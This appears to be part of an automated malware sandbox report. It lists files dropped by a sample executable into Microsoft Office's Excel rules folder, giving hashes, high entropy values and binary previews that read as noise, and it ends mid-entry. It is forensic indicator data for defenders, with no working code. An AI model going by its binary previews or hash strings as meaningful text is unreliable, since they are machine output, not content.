Preview:	<?xml......4...HT......R>.).f......hg.\.W...N.]..D....$....V.53.7.E.m....T.9..V.g..<n.U.y.&... .k?E....]...1.P....?&...>{w.W...@m.v....i...).k\|..&....w..'(.f.R...F.#l.#"....r.O_.VBR.s4....F.Ry..gG..Cns.[.......J.Q.Y#p(O.^....s..&....!..!.l.ax.X/.....5.......A.cF.... ....y8..6.\.t.B.L..;../.a.....d.#...s..G.).).U.hUN.....+...=..g.....B'.Xw..../.H..?...W..C^..".....+.4L..../O=X.7.k\|~:ZE#.7.p.(.69...U...A....zm.6.+.`.a...B.....-k..,..c....{...[a....vt.@.`=.;...9:.q..9"..P...{v-......9...!..F.Tc....2.,Yx...h.dLP.......]..\|....>......H.T..(..g..R.D.@...Kri...9"..TE].t.B..2.>.;F`.'1k.o3.G2...$..8...PF..[.t.}.9.L.T.V..C.....]...].hx.T/h..\(J0y..nJ....a.~....]...........O.xS....9..p.:..$..IsZW=.T...@n.o.)&8L.9^....Sx.....?.+z.H...\;.Q..4.{...s......R....A....8-.!..WM.....<.Bx....N.}Q..7..xw#.k..c_..e....N..%:.N..Vr.A..]."............&5.`F..G.a..]........3$..XuBmj.).u.L.%...a.r....8.1.....N.s.`J..cC..>wmj..*..k....t..tPQF...x( .]>.@].w...M..I..%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.949025460778963
Encrypted:	false
SSDEEP:	96:56syD42Hl6wMmUP3UcpIChs29yNSj9OJjGcvb:56syD4YrMwgIt2YNwUjGqb
MD5:	D8DF98E9E6224C5542B77D4ACDA4F83D
SHA1:	EA5B1559E51C3CD764DD554A27D46EAA62B99A53
SHA-256:	6595BA7C54595FDE2ED357374D5D3BCDB0974F693EC0AB0117CD5491B979767A
SHA-512:	48AEF3645554606F9A29E3EDE47DAEF5ECC205FBA0DD9BA419CAD119275DFFE88B1B946F595A17ABE3C3A45E37DE714730AC3A539C07C304DA201EF6910BB0E6
Malicious:	false
Preview:	<?xml.w....{.^A..q.8.....}............Y.._Aa1.]]....I....l..t.Ei.r.....]...Y>\.&N....Iw.rr..n.I..Fw8.....m.F..G5.q^.dQz;.T.?t.,......o..Fs...0.W.cr.i...4)Nw.0O..g..A{.ed....6?.3. ..).o......k.H=1{.9.Y..;66....M.{&.#.U$~.DU.m....E.'..+...MO.m...O.;5]..M..q^)..I...6.OT(.9...1.D.......4..!.i....e".cN.........xZ.O].T...:..OR.'=.X..3..MmR..#.@.zA....y.L.dy.-.aG.....B.H92;.a.8-...F.g...I.G...x.4r~4.R.K.;$...G....U.oy(..N^.<.Q.{.CA..iST.F..6j.DW.A..C.. ..2.M....(?....AB.`}3.V...l.;q.u4..YI.#...$.si.kS3\..a....@G....O2.......R.?..%..Z:.-...J._.......'...K.s..N..f....uT...ljL.a....&.x..o....l...1'...f..j....u.<.q]..)..,.,.[#.........pA(....7.&i.W.T&.?..z$.........K.R0p..1.Yeq$.L~O..$.H5..8.A0{...H.)........++......4...=.m.HK.....]....H...(._.. .P,..DN.`....w.S.\.r.B....'.o..!....k..7\|..U.A.W..)..9.S.h...-+.C..Kuybl. ......A.V.!...=...2......"......W#/.Z.]...b.M1{{T~....Ozm!./p...Q...\AEb.-[.Z..Y..R...l.......]F<..+..%.X-h...=.\|.D_....aX...4...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.798799289050425
Encrypted:	false
SSDEEP:	12:CX0oxwG9mvvNOUJiWkTaaJU/1YGdrkCko/rhqFRCy8TFwt8+BGsO7WleZUh/2RnD:boxwmxuxkt4rMRV8+O+GnUhyzFktU3bD
MD5:	A2149990DF8402DB4CFC056ACD2FA527
SHA1:	D9D7DD13B87A670544DF272F2D4D3D523530F7A0
SHA-256:	2A2E8C6BC388A3E174B6E3337F1E7E2B661DE251CA571D1AE54308F80E2E0BFD
SHA-512:	04CB90CD7EE1FE1D66AECDDBDF72E401A1BD8F7FE584DF34BA6D51FBE52B9FC7F5EF02693C6B0F102BADD82A90019DDF45ABDA34D9618E7E190425CE4560D0B1
Malicious:	false
Preview:	<?xml.9...E>..UJ.s.mv.A6h`.r...B)2U.....EaP.O..6dG.Qn.a9Zcl....;.Ul_..\..w...TF0.L..&..e9.;h.E........q..T..2F.\.....m..R....$..@!...j...5.u....&R.S...).o..b....h;..!0..-AA...Q..d..R.I.n...e.98^.Xu9N._.75..?.....9B..Ql.o].v..W.1..J{.~N?.=x@.Kzj....j.6..Z./K............iM.-..._.....d1.1c.BI...~..w.]...L..7...o...?r....aV.#..[..T..(3...B..M\|I....Y..^....P.w...;.}..v...3.T...n.V..T.1...>..A....5.....0...@,.=.>3>....$k....\|.e.....Bt......X.8_@^....Q.......f"....r.7T..6......&.(.;/.w....I.. ...r5...kXW...C.^w.$~K.`!U...a....>p+=F..HVs..#.i>..M..W.a$....}(Z-y..9{z...cp.X#..L...D...X4..........`...._...;..n.\q...E.>.J....y..?.......<K..-!.[...^.M.D5...i.1.......4QT...%.......t.B...t.a....bb.f.....U..E..I.....u....0.~.W.d.8..X..K...O..5..<....*:....#(.#..R......)y..p.iL..+.i..@...$.ij..B^,=.am.0..un...F.A.....J..A&@9;......(..v{.j..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.938128892238558
Encrypted:	false
SSDEEP:	48:xrEBgwM7l9DdbMG/sO9gK0tnnmDQqppWSvWmvhoRpkDSGF+D:tEBbSLDdbMGlt0xYXHV+RpkdFG
MD5:	F09578A178305F07BBA57C0A0BD02ACD
SHA1:	F76997FB7BA3177CBD448F164F32208D36177679
SHA-256:	C24005287C058FF32340386641F4FEA8A9BC6B96A2E29C101553CC6F21AD777C
SHA-512:	978E4E5905750FF28E9CDEE7E6C695670F2F4D5141F7C7AF625364DC4B1A0B5099BDF50C2265496914672D4C2D43B423ABDD21B11950D1FA8D3B3FCE63F5C51F
Malicious:	false
Preview:	<?xml.H):.6.i6d.L..s/c..u_.&)......m.E..d\:?.L....D...8{..u!.:..H.q+..1FT8..I.....NL....D:E~[D%.:<Ba.N`...u/!....\.......,.$.S......u...%j.[..HH..(...3.I{h...#..I.o...[O.1T..+5z.....u...P.x..>G.3.d.=......+.cB.&Y......d...."~..6...FD.K....hi.4....}07.=."Q........Z.F/. G..2........&.>.....k..8..Y..2...3..EH...>&.]r...H.W".....[.uU..1.d........e..<y..-[D..<.1.`.e'..[...r......5rJV..<......t..'..p..VP..0H..e5PHbAY...:x.:.....W~.C.8.j..T....>..L...M..A.R...P.L.. 7........<.B.....o..S.a.J.xs.Pz>..%@.+..!...,f.Mn..~.../.\|......f....F`5....h..@..o"2.S..2..Role...'..F...y%:..g.V.........$.b..o..q\...a.&.]...L..3^a....4zE0A.zJ..be.a..~y.az.\c^_,J...(.....p........,.[XC^dJ\7kk.#u .F...;X..>.}.p}xZ.........'B>.3.5~:%..r..#@>X.#.......p;.........qA.H.6......uk...a..........R.I...TuO%5."`.0...E..q1......8#....R.2UT.._..'.y.CH........,.\|...ak.D......a.J.~. .~...o....l...kr....X...z....L.0.*..U.oU.QOB....K)......H.c.D'.o......K...36.k...E...p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.921650292425767
Encrypted:	false
SSDEEP:	48:EHo6EGXkfwbx844iYzgEOLZPKNCGNfww9eeKfM4R9jH1pbEU2v/D:P6ExbcEkZiUw9eFfM41pbMD
MD5:	79CEF3E7A5AE973C9C192218DFB92786
SHA1:	221CDD58BA15261AF5B7000AF5FC5637D677C23F
SHA-256:	EA2FB836B46113586A7EDF96451F0729DE70C931434910E4E3AC3036428AFB9C
SHA-512:	98C0C461964B498FFCA0437950580B0722A2253D306532D91EFF6C3D62D1609B9D98B0870832A4955C62431579D3682A5895C9FFCB46526EE48F07A2E12D1DD0
Malicious:	false
Preview:	<?xml.!.\aLk..#.[. .q..Fb.5).!;..M.,.Hw...S.......{...sa....."..K..k.N#b\|.3y...%G..H..^_{..M(n./...o....RCS.^......H.3....O.....x..2....1.q..q.s)..9..Y....GI...v...$......%.b.p.".y....%;...A..Y)b...e.0b.,.:.......D..9.0.z..'>K...M..z.+..F.M....g.m.-.CL]...y.....8....e.8l....T.s....\y..x.......<..'..QE1&..#~...WL.......i._/.i4:..(..Nx....O.:..w.T..z_w....gXs..e.R..&.....7.W.....y2...6...w.~B.)9....jG..U+&c...5....{h......^..j.8I.......;...&.Fv(......:.....`..%(....."......X..R..u.f.y:.P.8.p..c .vV..U.r..T....DP.V.$4.s.m....)6...<.Q..u6. ...+/D^..3.}.xn..,......XL.W_.n...(D&.....p..Yq....}.jU.c.z...5..w....&\]3.-J......&.B&.+.~8..1...O!..x..^KA<..$_....&.M>9D.L#.p".........S.U...8.5`.6........`y....\..x..... .W....N&l........hVO...E.B...I7.A.z!S..R]uT..`XA..]..d...E...{.../r...>.N..........r{gx.Y..#.{..zfA!....\.3d..x.....&..?....N....U.#*.r...4eK.`.......mp...\|..~B,..N^..Z....[.n.:...\..Z.ypszu...3..hC...?..u.>.z.......i.....+Fr..V.k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.935657664350295
Encrypted:	false
SSDEEP:	48:R165sAhZJ5oAfl9I+ayX9rJywMC7Um4XyyDHJS6By2tMirzSzkx3IlKKhjlD:QhZJnA+aY9Ff2XzlDBGktYTD
MD5:	7380C29B9BB32CEEA722C1F2DFDDE01F
SHA1:	D58E9E3F974A8D2DE66E5EBFAFE38A9F589F5624
SHA-256:	C890718A51F9D405FF7EE2B43AE543348353ADEE325EC078257195EAF018A15B
SHA-512:	D1A5CE2CB2E4738B31CC26EE69F61CA7980487E5E08D5710C47D523B9C037E99C570F849E930F29A5B869F356E71AF1096B4B847C39A43D971314140C4D5D7F2
Malicious:	false
Preview:	<?xml..$S.F~T.I..^.....{=.9 ..\...{.N...=5?t..S{.5.1....\|....o. ..w.:..Ml.>.5..,.~..#.!..'0BB....3..H.......A.;.S..J..(..'......{...y....O.....0...A.,..l;.a{<X;..A..J..Cx.H.p-.\|I.+.......K.6r..).!.....7...Y..L....G.Lb..OX....B..A.]"..]A...`...;.S.q.}.;..$..Q.R.......{...Q.k.^wpxZ...t......zb...'..$.(."... .s..(._..A.m-...1..+.N..?1..qT..b..U.."x4..7......d..;.-.............g..Wv<C.u.8.......D.;.....FM...x....&.?s..<$..s..>>......{.II.Mv......G..'....U{..........2)...t.C...9c..#B.".q.X..@X.".C$...y..f&I.V.[U..l'..ub1~&0....J.E....vrFHr..O..I...}:.............r.....d...~..w$.-KF....7t.6..3.".....d."-..V"..Q........[x.....`Z ....g.J......U...1U6.(.s...:.....\|.....Q._3...7....R.#.^...@...mf_p@....d..U).v8+zp2...7.]..<.K...u..+...1.xk...(.(1..K..vNt..:S.c7...d.zhI<nvMB.ny~.....xW..T8../%FT.....g.).gRV0..c+"......A....E0.U...3.8..X.*..!e.s.b....:....g.\.Ie8..m.t..-..`w...P>....=..x<c..]._.#. .)...EY..CD.+.......'.CR=...r. ....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.964220459803594
Encrypted:	false
SSDEEP:	96:R0zJufT7kPi3tqqIBwyh0FSMDv6ghdMlum4gF6LILM/:RKuf0AtqFwq83DCgvLIg
MD5:	7BA1B2ADD9BF33719C44F29724CF30D3
SHA1:	323272B7A5B1742C1AE26C0F64853D9E2D6D7491
SHA-256:	FBC8651BAA2B59327C88200B5A136C4DFD05802F2437BA486F52CB64A79B1757
SHA-512:	7A82042D424B45F25EF0EAE9A4C2A7871CA43E3DCC0A0FFCD0FC2B9AD69E0BC25DB88B76499BC8909455805B62B5E3E0EAF4C805244B1D4ED975E2170E27D2ED
Malicious:	false
Preview:	<?xml.L.T.6H..>.....f+...Jc.._t...........7n.......Qa..H..N..!.\|X......Mh,.{.{.hR......). .OAL0.F...`}9..z..Aw]v.1...,>=..i.Q..`{...`.../G..g.E....~.C...~K..y..e/..f.]6.N{EE./.RW,....-.C...w........h.....uFH..:S.R.b.qJ..ME.r.....2=......@.vi~U.&.+.......Y..4+n.::.p ...J.X"..'>.0'.ol^.Q.K....x;..%s{9.....'4P.(..w2}.#.UM.A.,D..7....l.7.......ga......4.-[.~M.O&z..E........VY.n%... ..u2?].a.r..5..2L.p.hn...Ed:q...~..:..T.~1.R..I.&..vP>...1...:...]F..m.@..4.DS..a.+.*..R.c.}ab..5.x.T...D\|E.....]fINy.$.......R...sy.!......pF.G..6.........i.u7..S...PV4....j .._....}...6F.....]o./.'.R..?D.U,.!i.....A..QZ.frd.xU.].S...Tk.e../T_..J........a.TE.?.a.IC..g\|.I...;5.6JN2...hm.S.;... hQ.$...M$=b..ZP....x..\..u.....6.M..ZW.m...w.w6...dL.~..-...t.#M".5.x.g....v0.j.ele.^..J.R6..j.....U,:.\|..&3...4.........I...~p!..........<PXx8Vz...!.D..O..x.I=.........h/W.......Q... .f...h.;..z.].....\nS0xK7h.....i.K.`..........I.%..........y?...n.w....wU.~\|.Q..D....2\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.973547835103749
Encrypted:	false
SSDEEP:	192:n+6YvCEU+qX483kqL9vsPJW2Y5RZagxeqEytml2o+zzsZaDu:nuvCZX4RQ56JWDRZanqEytLLzzsZai
MD5:	7E8AF3A3F430F12923CFAAA8B982FD2F
SHA1:	AEA7ECAC248F3219924CB281FF837CB377D1EBF3
SHA-256:	E3F500F845B8E2E59F56F0CA3BCC6615F339BA390910B8F33E030332BB25B7BE
SHA-512:	AC7A36F0DECAE5132D6FF448A9E1C64AABD89C3A1E8CF99108E615D70BFE83462D4AF7B605EE22A52B27A70E435CC63366FAA1DFFC2B153AB16ABF4DA434FC9E
Malicious:	false
Preview:	<?xml.\.!..........F.`...............1T...}-LNJv.P...H...6l.9.l...N{....x.......-).p...96.f.....u-....\|..qEL..;.....B..U.0.A.T.....!.vR.a>..D'.fA~.RF/rB"Q.'.o.9.4."..k....OB.Pp...>y...........{1A...=`.....aK.dS...:.....w.y.Y4j+6.[.......aZ.z. ..d.#...P...A....~..Lz.5Z"l..Qv..2....hT.1..`..'........Lx4s..(.=&.U.?....bX.'..E".[..P.e.f8.s<....do.Wn,.&@.........."..W...U..'..k.....S'...%.x..7...."...fxC.Y.b.f..6A.i.!.%]./,...^R.?..{..$NP..4.P1.....A.......?6W..(D..c.Op....IX.Bi....U.K..;.M.>(G\N.....8-.t4./..6.ms.G..,.S/.....(w....jH..V+#.gxA..1..5....,=.1...l....!..Z.....<.82..H.....Y..'..1h..1..c.s+.B0.z.\..F.X..\..R.:..6`0.....E.W.........n.il..B..L.zLA.q.B8`..r.....@...C...ta}@..qk.y.i/...T.N.F..;.r.`.......D..\|....=...%l<.N....v.ms..@.......z%..O.q.Q......'.x.H........:I`.R.4wW.t.G.y...P...:.<..%..o..f0.l.qZ..\..}#..]C...........UHu......%...Y.{..n..'...a.....!..M.Dk.b4G.T......fy.~G.F.@.F...Z...N.H.S.=.c.!.aTO%m........J1w3.._...7.....M.S..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.973930858313318
Encrypted:	false
SSDEEP:	192:WnCdA7ohPWezdk5L4k11xdgzUOzZcCLD52ZVxY:WCdYAPk5LL1NOLD52ZTY
MD5:	5E6104F91F54ADFB1004EA0269B4759B
SHA1:	8899ED0523C28BBA9DF630DBBD99C8487F8963CA
SHA-256:	7628AD52E8A58EE27E14978A51B8D51B88B5AC2415A3AFAE478856F82BE9BC39
SHA-512:	47674F33D18426946F383E775C25126124B4B9AC3258A89A64B9E6B77BECB789D0AD5C8AD3680A6D52F789D78E715DDDB702492A559ABC80E423E53CD6A635DC
Malicious:	false
Preview:	<?xml.5...@....>~.~.......hY..$TK.......V..q..~3..?..zm.[.F....{.\|. e.....P..b...we...N.~;..(.f..r..Qa... >....%<.5.m...AsP:.5 .4=.I.x..Z....$..i=.....^..r.Y......U;.i.^...8.....m....../LV...".6W}.K...(...9Y.<X.$.\|.....m.~d...?...Z..#...E......Y...8J....U.I..-_....@.v.i14..xO...../...P...u6o......Xs.O...,..9s$..d..o....8.L...x...{.z....!:.}."a.y.#F.6........O^..XJ...Y...r.\..K.=l.P.~}y...2....I.j....fn=...s..6H..w8...A..TG2,.[.J4.NQ.5.e....=Jk..o...W.0.....G..YD..]DrZ3..p:....w.o...9-..iK.._..U'......;48......myie.bH.../.f ..V..A....T.......P .......di....\...v..:...^q....8.m.fM......9.N.....,.s.......8..^Q........J..L..".......#..@.g...l........$......."..R7..P.....'...p.....\|.P....C...{... `...X.\...X.U....x.x.ZD.......2..8.y.l.\.<.(../.. .{.G(,.:HB@.1h".......8oAT.L.wD..~....!......0. .wd.D...D.....&..=......).H...N..Ai.>y..../?.....[.[.)...n.C...-8.....,W..4Gb.w...c..//Q......83..D.u^..c... ..<.6.....P+....S.6..S`..y.:.?.{!N.....$S..\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.87162099221248
Encrypted:	false
SSDEEP:	48:dP/pBP6+bC9/yrekVvjYtXon+xB8syI6ss9DMD:d3bPnbC4jGKacI6h98
MD5:	3333B7A0C03E03D9F1068652FEF621C2
SHA1:	61B168FD1DC796222A32B06BD1611C45F1CD88EC
SHA-256:	DEB64CC9631787A61E4F985414922D3FB40F82DBF7C67D388629453984E4CFF0
SHA-512:	89C549DDB71A352B695E0CBD40327C3DAA0D4791BB669DC78880E08A31DC9D412CCA07DFE5B4F888B729E9583E2FB75C524F17A820BDEA99FD133681A87B0F9F
Malicious:	false
Preview:	<?xmln......O.lP.X.\|...3.4q.\..:8.`.P.L.....Z..u....6v.LD... .lX..H..3lD$....w L...Z.0...G.(.`s..$..Y.f...~9.?A..t..U...WZ..T....;..}...]F.1.a...s...........n.4.7'../..!...'.og(r.d.0.cW..u......w..;4.)...>J..2....._.......v.O.!.{.4.....w.Wj$g.9.......!!L....z..'....-."....4.0w.Ed...9^.[g$.t:..u..5.m<.a.&^%.V...e...BA..I.HqD.NL.....M.....~....$r..z.t}.{...:..3T.;J..eX.Jd.......MW]>.o..V=...]M.0....".B.a...5W..8>r.oI&.y.`e.....0:.K....".@.e........qNV.#%....p....@JH.I.l.B....o.^p...D....;%.t_?]...~.... T\|...V#..s(.y.%.........k.....1...j<..]:<.BY.9`.8.x>...{B.T.+gN........)x.....1'..r..7.&Q#.......Z.%Kp.1....H..V.r.t.Lg+.H..P2..d...6. .3...zb.K.rS..d$\|I.m.{. .9.h.....G...J?W.9....Q<.)[.[...FN.#..>.$.{"........B.Q.~......$.....e..,..ZK .n.D/...{8.mA...{6jY..wB).......T"..m..p.?.....T...Q2...2...X7....8.)+.5...L.U.I.../....8....*.x.(tW..B...jr.......o"..m{.FZ.2..,..Ik.I...]...-b.y.K....."..3...V...v.....l...".".0o..n.....s.PR$.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.90039363423078
Encrypted:	false
SSDEEP:	48:C5xNTcHpB1R11IyTQWaNO7r5ulo5R0UvMN+D:C3qdf1XTP7tmoz0Uvx
MD5:	AB2554C6EE1641EE2BE1F0A7EBA3FD34
SHA1:	7062F8096C02A5CC071397CBC582C4499209FCC5
SHA-256:	0371927B1AFAE6A51E534CCE49FE4F7D08CA00D90718266FE5474D0E6C267F27
SHA-512:	0930B299FAB2DD713ED202F1F47A0D9A60A0EB23212A460B5A0EF9B14A8E47673AB5881099E36E035B9D28D29E5C6CCD8E25EEC3D30ABECDCBF7B37D1C712F2C
Malicious:	false
Preview:	<?xml&.....K.Q....C.....n.p,...ud...d.W..(a.~.,:.x\_F..I.M..J-^i.K4..m.U.....="..zP....~.[..v.....-74.QL.....g.....(...U..~.q.... O5.`Q...c..].....85:.j..PqL.......i.sZ...j...\|....:....."..h#.....n.I..w.;KT....f......-z..+.1.t.6.D9#.!.....E.H.I..v.CYo...k..ky..tm.#u.&.`.M..D.......z...jy..[..:.)i....+..M..lU;....sm{.&..W.?h.g..y.&$.....T_..Q..........@P{.`.HQ;......-.-36khr..$.5.~uf.t...~......7.}......<`.R.EOm.Hm.Sb........?..Rn...f7t...\|4C.E........YkJ7..~Y.I....z3T.\|..[..:.o.W........R....iw.0 ...:.?....8uB".PG..........=.B..Q+..Kr.S. ...=..D....}u..4...2.G/.Vl.....K.........+.5.......a4.g7.H....&..f.x/.N)..../I.E?a..TPM.t.........E(....n.4..K..........A.=.+wmQ...L.o..7..Q....NRx..,._a<D.d...V..u...........(.9G.z.Y........S.B1.M..J...D]=.w8i..0..\...X4U...xZ..Unb..Au>s..d..'I.0.R....5V.....K...<@..".n`.p.A7E..\|.. l...1.^K.;Q.=..j=.70..h.........5x\t?3).!.2/....B...9.!:c.yAo.Q.9...D.~x.....(G3......P.-....>E.=.0....4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.885633747696022
Encrypted:	false
SSDEEP:	24:fOCo5WeOoddbyg1DCRa3YkJI4Hg0cBngPaBK9oD4B6pe/Nt8eRgG/qKD43Iw1ViX:fOFoefdFcshFA0QZ89UQ6E//7/FsF1KD
MD5:	482B72B2CF2C64383C47C2A429021E8F
SHA1:	0C0570A712306E0F5B4EF785C7544D5BA81FDE6E
SHA-256:	2C304DBC2B01F2B2F6B936B1367D5E988067543349E11E5391EE569A95DBCD53
SHA-512:	644E061A2D5A96E7C1433359D83DC1FB6D14E0AACF8A387C8D0A9F19907C00FE5C50533AC80442B7A70962F7CA58CBE2506E40A15E72E8F25F81F4CBA8887045
Malicious:	false
Preview:	<?xml.f[..`...W....l..d.Z....Z..c...4.Q...8.[..en..3.n..$....g...U(4L.o...~..M.F=._e%%..zly). k3.iSG^..7...Q..8y..VDU...2.0'...h..xtw......%i3.}.3.Q..t^l+.....'W.`. .GC.Azbf..n.J...a..\...E\....~-..D."7...n....;=.z/..3......V^4..3.5....(of..............E.3W.=.g...EZ..K....@ ..B/}..Mg.$..9/....I\.r..j.5@cE.70P-..g.d.......u.4.[.>....w..f......^t.o....."...oR#fv.......E.bK.9.(..@.89....qg-...._..2..{..8O..}DYR.....6\|Ea...6....O>.by....J.r..\|{.X....e.....W..Hm..>e..U.r(.V$f...:..[KO...kt.n...\....k...&.....3.y...9.}...?..ho.r.Z.y;...Z..K...VQn1.^9..T.o..\|4..:....'.Z.4...dFN_..w..nvi....u..@.7...`.V..IB..q.^d=..g]..`...c..P..Uj.m-w.4...K..U....n5....P5/+`.k..&x.~CQT......@.. ......./[.}....Q.I.w.T....{.....>...N....6T&A<...u......-+.U0_x.-.o...y6S.~(.3..l.u\..6..`..A.'.fb..ca..Gz...&.E..@.[t..-..e.r.r..%.t....].wm6d."...u........Q2..P....#..g'1..c. ..&.@.8..."q.H...u.Nm...J.L.>C....=i.!...I....T......u....BI ..:R{75...e....y..9C....?.;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.868274180450713
Encrypted:	false
SSDEEP:	24:/PBU2mJOpfZ/yVYno8yXShdiTcopDLXHcRoGqGJPlcxLgJRk2VvdHbD:hUCtyVJXShdKrDLXHc1qGNl1zTVvd7D
MD5:	A607893DEAA9FCDF88F0345911CDAD13
SHA1:	3D69D0A016FB84C0215683D8134B320C192B5319
SHA-256:	CE3DE5EE23192A373011EEDD2D9570DCA87CD6C06B939CBD17878B5E96C8E52D
SHA-512:	35F2CC465413C2A160A45DAD5CD2E0C37D16750306E5330540E0206BDCC5654AA0B72DF9577080506DB1415158B9F74E9C2C692D6EB8207E2D867B6F4ACC5C43
Malicious:	false
Preview:	<?xml....r..{./.......Uo.......O7.@..&.0.Wk.C,..QB./..S..L.2.c5Lm@#6.#$.P..].\|....+?....].U/#K.4...>l....Q.a...w.,.fw~.N.q....[6m..nQ.....'.....@ ...H..Dz............h.S.w.T....e}....`.\..S...cy,.`..Z......6^.`;.>5...&.q*......~\|..........~.g...a.kF.."..q=..~...1..6...c..RY..f..0b...\.t.\3..>5?.>..._.B.F\...!...z.A.t.k...f..,.0.z..........[jeF..=.Nfo...+k.BJ...K...[.m.>....q.......-f...p.).m..zN.. .......no..~B.p.$...l.V....#.A. ..`...Q.9^Y{.._....V$.i.T......s..e.A.k..!...,....O.N.a.U. .s.w..b.....<.....]{a.[ ...P.Q6..4rC..:)H..u..4E..]..rK_.}..J}d...g.V.DL...#j..>..9#9kX............ .B^..{D7b...h.h.qG8H......u.u......V!.t......(".mV.3..T9..'.........D..bs.6.}.+.c.....0.?.kN....!.................?..f.D$,..w}..\...8..]+...f....F.X....(c.N...x.....W..2.^.."sy/.Qv.>l...Yk.R...7.......G4X#.0.(.It..GGm....s...E....2.....8........{.z..5T0Q.B..P..Aj..c..0.!..]....X...h....R..o...o..j8...&...6.....~~...&..[...x5;.d..T...<..2....'....h.y.E.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.855362216514586
Encrypted:	false
SSDEEP:	24:GoVjSZ4UFZLvU036cojTWq/IFLmwUy7xhgl0M4CSAfUP9e71YgOVVsf4YbD:GNFZzUK6crqgFLmCxGl0MgA8FLVVA4CD
MD5:	4422F7034CB53E599673E26558BEA5ED
SHA1:	52234DEDD39053EDBD051C5E2E5B653CE7BF951A
SHA-256:	53F25486452159EF46C64D684E2F9051CFB07F9A49AE1D8BB99B258AAFE205CE
SHA-512:	720A2EC6959F0C9E7981FED591E5F572B036E084BBF743C561A623CC7DE083203583DC9F1EA9114E3370062C5774D1D4E1F025068ADFAD6227FFBD3324AD3D1F
Malicious:	false
Preview:	<?xmln..F.\|....'.S.....s........Vu.....w...U..kDsW.1o.y.Z.0_r@..K..He....k..\b.c....!]..=Z#u.....w.0G.A.<.).Wh...QS,C.C..>..\|Z4."(m........`.k=P{1.g.D. .... u....]....<....v<.+P..Y..T..C.h^...^D......~d..Iq.NMu..._..].\|.5.P.PI9&.W...)<n..x..B.n<7..p........W[....a..%.n.K.>!.-.Ds.C./...b...]B=gL/....x..A.J.....7..X}.X.....H.p..t......t..10%...Hf.".2..!..U.vm.oH..E....I...Fu...d/$y!.E.....'N.$.u.n....DuKy..Q._....95.K...g"K........Q.T.~e...wC...I....r...b..).....n.:.........c..]$...<.../.@.>aB....B.4=.....c...i2e^.%K.+...'..+....k....^..\y....-.. ..K.n..0.:...Ju+......#m6......V.s....&R....\|".$.%..H@..+....s8 ....RUvqB.J.'...6M7<.r..P5.....Z..ei..a.....x9..5.V.zR.y.[e.X5...<N.n..@.u.c..v.YCD.K.....W.\|.4........3..r?....]sz.v.....!.J2H...=t...NK..."...El..I.i^...Dm"Kf.sM9..p..`.....*x...._jD=..T...`P......qr...H_..]=........6y..8D...O....S9N..[.....,...g'.&d=..l..7 .V..m..wd..c.i-.).....PyfO....G.m....f>R.nY....H...'..[.......Df."E."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.88687569920799
Encrypted:	false
SSDEEP:	24:HhaFCwTWPjFxmbJZQgu162A2WmGtVue/NXoIi0nyoOPc/mdycfzSuXSgcuBmbD:BaFAjGQw2A2B5EZo44/B0D
MD5:	58C2AB46AF0BD5914524CBA767DDB45F
SHA1:	DBE27CDD2CD37471FCD433A54E4F1E3502A67AC7
SHA-256:	11427E821DACC77B8CD172D132C0425789C6A8C950957639510F4BFB52DC0678
